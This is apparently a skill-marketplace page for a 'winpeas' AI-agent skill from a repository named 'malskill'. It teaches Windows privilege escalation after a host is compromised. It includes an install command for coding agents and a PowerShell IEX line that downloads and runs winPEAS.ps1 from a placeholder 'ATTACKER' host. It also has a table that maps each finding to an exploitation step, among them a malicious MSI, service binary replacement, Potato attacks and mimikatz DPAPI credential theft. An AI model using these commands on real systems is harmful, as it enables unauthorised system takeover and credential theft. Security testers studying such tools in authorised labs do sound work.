offensive-tools/privilege-escalation/winpeas/SKILL.md
WinPEAS: automated Windows privilege escalation enumeration checking service misconfigurations, unquoted service paths, AlwaysInstallElevated, writable registry keys, token privileges, and stored credentials. Use post-exploitation on Windows as a low-privilege user to surface escalation vectors.
npx skillsauth add aeondave/malskill winpeasInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
Windows privilege escalation enumeration.
winPEASx64.exe
winPEASx64.exe quiet servicesinfo
IEX (New-Object Net.WebClient).DownloadString("http://ATTACKER/winPEAS.ps1")
| Argument | What it finds |
|----------|--------------|
| systeminfo | OS/patch level, CVE indicators |
| userinfo | Token privileges, group memberships |
| servicesinfo | Unquoted paths, writable service binaries |
| applicationsinfo | Installed software versions |
| networkinfo | Interfaces, shares, firewall rules |
| windowscreds | DPAPI, vault, autologon, registry creds |
| filesinfo | Writable dirs, interesting files |
| Finding | Exploit |
|---------|---------|
| AlwaysInstallElevated = 1 | msiexec /quiet /i evil.msi |
| Unquoted service path | Drop exe in unquoted intermediate directory |
| Writable service binary | Replace binary + restart service |
| SeImpersonatePrivilege | PrintSpoofer / GodPotato |
| Stored DPAPI credentials | mimikatz dpapi:: or SharpDPAPI |
| File | When to load |
|------|--------------|
| references/ | Potato attacks, exploitation of each vector |
development
Auth/lab ref: Unicorn Engine CPU-only emulation for shellcode, decryptors, custom VM handlers, instruction tracing, memory hooks, and register-level experiments.
development
Auth/lab ref: Renode board and SoC simulation for MCU/RTOS firmware, UART/GPIO/peripheral modeling, GDB remote debugging, REPL platforms, and RESC scripts.
development
Auth/lab ref: Qiling OS-layer binary emulation for PE/ELF/Mach-O/UEFI/shellcode with rootfs, syscall/API hooks, filesystem mapping, and runtime patching.
databases
Auth/lab ref: QEMU user-mode and full-system emulation for cross-arch binaries, firmware, kernels, disks, serial consoles, networking, and GDB stubs.